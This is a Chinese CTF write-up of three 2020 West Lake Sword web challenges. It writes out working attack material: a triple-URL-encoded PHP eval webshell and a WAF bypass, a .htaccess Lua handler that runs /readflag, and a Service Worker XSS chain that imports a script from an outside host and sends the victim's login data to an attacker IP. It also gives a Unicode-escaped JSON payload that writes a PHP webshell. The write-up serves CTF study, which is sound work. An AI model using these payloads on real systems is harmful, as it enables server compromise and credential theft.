这题在做的时候一直没有上传成功过,后来才知道502是因为waf。
在宝塔WAF绕过上传方法文章中讲述了宝塔文件上传绕过的方法,这里使用了上面提到的换行污染
和内容填充
。
个人理解:
之所以使用内容填充是因为当内容很简洁时php字符串会被识别到,然后被拦截无法成功上传,因此图片文件头并不是关键,重要的是php字符不被识别到。当不上传带有php字符串内容得文件时就不需要添加这些乱七八糟的内容了。
先执行phpinfo收集信息:
disable_functions:passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
open_basedir:/www/wwwroot/10.20.124.208/:/tmp/
这里大师傅提供了两种方法:编码绕过和lua脚本执行。
测试发现:宝塔waf不能解析三次url编码,因此只需要将payload进行三次url编码即可。
文件插入<?php eval(urldecode(urldecode(urldecode($_POST['cmd']))));?>
;将phpinfo();
加密三次后传入能正常执行,但是这个shell连接蚁剑需要自己写编码器。。。嘤嘤嘤,菜是原罪......
官方编码器记录了几种编码器,我使用base64编码器也无法成功bypass连接蚁剑,自闭ing。。。
尽管连不上,后面的做法也记录一下。
连上之后,使用AntSword Bypass disable_function绕过disable_function然后/readflag。
lua介绍:
Lua是一个简洁、轻量、可扩展的脚本语言。Lua有着相对简单的C API而很容易嵌入应用中。很多应用程序使用Lua作为自己的嵌入式脚本语言,以此来实现可配置性、可扩展性。
首先,我们需要能够指定使用lua解析的文件,这就需要配置文件.htaccess
的帮助。
AddHandler lua-script .lua
# 指定lua后缀的文件使用lua语言执行。
然后上传lua脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
require "string"
--[[
This is the default method name for Lua handlers, see the optional
function-name in the LuaMapHandler directive to choose a different
entry point.
--]]
function handle(r)
r.content_type = "text/plain"
r:puts("Hello Lua World!\n")
local t = io.popen('/readflag')
local a = t:read("*all")
r:puts(a)
if r.method == 'GET' then
for k, v in pairs( r:parseargs() ) do
r:puts( string.format("%s: %s\n", k, v) )
end
else
r:puts("Unsupported HTTP method " .. r.method)
end
end
|
补:在日常浏览群消息学习中看到有人在问为什么要使用lua脚本语言,顿时觉得自己可能只是顺着wp的思路走,并没有什么思考,只是知其然不知其所以然。
还好后来有师傅解答了这个问题:响应头返回了openresty
。
介绍:
OpenResty(也称为 ngx_openresty)是一个基于 Nginx 与 Lua
的高性能 Web 平台,其内部集成了大量精良的 Lua 库、第三方模块以及大多数的依赖项。用于方便地搭建能够处理超高并发、扩展性极高的动态 Web 应用、Web 服务和动态网关。
看不懂wp。。。
原理阐述:Service Worker从入门到跑路(2020西湖论剑HardXSS)
解题过程:
该站点存在三个功能:子域名爆破、联系站长、Admin Login,其中子域名爆破没用,联系站长返回一些内容:
嘿~想给我报告BUG链接请解开下面的验证码,只能给我发我网站开头的链接给我哟~我收到邮件后会先点开链接然后登录我的网站!
> hash = md5(vcode)
> console.log('验证码:'+hash.substr(0,5))
验证码:*****
验证码直接脚本爆破,而我收到邮件后会先点开链接然后登录我的网站
透露了利用XSS持久化获得admin登录信息的思路。
xss持久化就两种方式Service Worker和cache。cache在这个题目里面没法控制,所以就得Service Worker。要用Service Worker就得找一个能xss的点,去注册这个Service Worker. -- Nu1L wp
这时转去看源码,得到处理登录功能的js代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
callback = "get_user_login_status";
auto_reg_var();
if(typeof(jump_url) == "undefined" || /^\//.test(jump_url)){
jump_url = "/";
}
jsonp("https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=" + callback,function(result){
if(result['status']){
location.href = jump_url;
}
})
function jsonp(url, success) {
var script = document.createElement("script");
if(url.indexOf("callback") < 0){
var funName = 'callback_' + Date.now() + Math.random().toString().substr(2, 5);
url = url + "?" + "callback=" + funName;
}else{
var funName = callback;
}
window[funName] = function(data) {
success(data);
delete window[funName];
document.body.removeChild(script);
}
script.src = url;
document.body.appendChild(script);
}
function auto_reg_var(){
var search = location.search.slice(1);
var search_arr = search.split('&');
for(var i = 0;i < search_arr.length; i++){
[key,value] = search_arr[i].split("=");
window[key] = value;
}
}
|
发现实现跳转的函数jsonp,jsonp可以用于跨域数据的访问,但是此处存在一个变量覆盖漏洞:
1
2
3
4
5
6
7
8
9
10
11
12
|
function auto_reg_var(){
var search = location.search.slice(1);
var search_arr = search.split('&');
for(var i = 0;i < search_arr.length; i++){
[key,value] = search_arr[i].split("=");
window[key] = value;
}
}
// callback赋值方式:
// var funName = 'callback_' + Date.now() + Math.random().toString().substr(2, 5);
// url = url + "?" + "callback=" + funName;
|
在对callback赋值时并没有经过任何的检查和过滤,导致可以通过注释符//
实现变量覆盖,例如https://xss.hardxss.xhlj.wetolink.com/login?callback=alert(1)//
可以实现弹窗功能。
因此,jsonp就可以作为Service Worker的利用点进行XSS持久化。
接下来这波叫做意念做题(没有服务器,只是为了记录一下预期的做题过程):
通过https://auth.hardxss.xhlj.wetolink.com/获得
document.domain = "hardxss.xhlj.wetolink.com";
注册Service Worker:
1
2
3
4
5
6
7
8
9
10
|
// aaa.js
document.domain = "hardxss.xhlj.wetolink.com";
var iff = document.createElement('iframe');
iff.src = 'https://auth.hardxss.xhlj.wetolink.com/';
iff.addEventListener("load", function(){ iffLoadover(); });
document.body.appendChild(iff);
exp = `navigator.serviceWorker.register("/api/loginStatus?callback=self.importScripts('//404.buuoj.cn/a/sw.js')//")`;
function iffLoadover(){
iff.contentWindow.eval(exp);
}
|
安装和启用Service Worker,并在脚本每次对外访问资源时都拦截相应参数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
// sw.js
self.addEventListener('install', function(event) {
console.log('install ok!');
});
self.addEventListener('fetch', function (event) {
console.log(event.request);
event.respondWith(
caches.match(event.request).then(function(res){
return requestBackend(event);
})
)
});
function requestBackend(event){
var url = event.request.clone();
console.log(url);
return new Response("<script>location='http://IP:port/'+location.search;</script>", {headers: { 'Content-Type': 'text/html' }})
}
|
然后放在https的站点上,发送框填入链接:
https://xss.hardxss.xhlj.wetolink.com/login?callback=jsonp(%27//404.buuoj.cn/a/aaa.js%27);
获取admin登陆账号和密码。
西湖论剑2020FlagShop复现
这题不难,只要知道json_decode函数也能处理Unicode字符集,然后绕过waf就可以getshell。
开局给源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
<?php
include 'security.php';
if(!isset($_GET['source'])){
show_source(__FILE__);
die();
}
$sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';
var_dump($sandbox);
if(!file_exists($sandbox)){
mkdir($sandbox);
file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
}
$action = $_GET['action'];
$content = file_get_contents("php://input");
if($action == "write" && SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
$content = json_decode($content);
$filename = $_GET['filename'];
$filecontent = $content->content;
$filename = $sandbox.$filename;
file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
}elseif($action == "reset"){
$files = scandir($sandbox);
foreach($files as $file) {
if(!is_dir($file)){
if($file !== "index.php"){
unlink($sandbox.$file);
}
}
}
}
else{
die('Security Check Failed.');
}
|
在传入一句话木马时发现很多Unicode加密网站在加密时会自动将<>
转化为HTML实体编码,这样会导致一句话木马无法执行,在此网站http://www.jsons.cn/unicode/生成的Unicode不会自动编码。
1
2
|
{"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"\u003c\u003f\u0070\u0068\u0070\u0020\u0065\u0076\u0061\u006c\u0028\u0024\u005f\u0050\u004f\u0053\u0054\u005b\u0063\u006d\u0064\u005d\u0029\u003b\u003f\u003e"}
# {"content":"<?php eval($_POST[cmd])?>"}
|
getshell之后终端执行/readflag
获取flag。
西湖论剑线上赛 俩web
2020西湖论剑部分web_wp
Service Worker从入门到跑路(2020西湖论剑HardXSS)
Nu1L wp(微信公众号)
西湖论剑 Flagshop 分析复现
官方HardXSS解题思路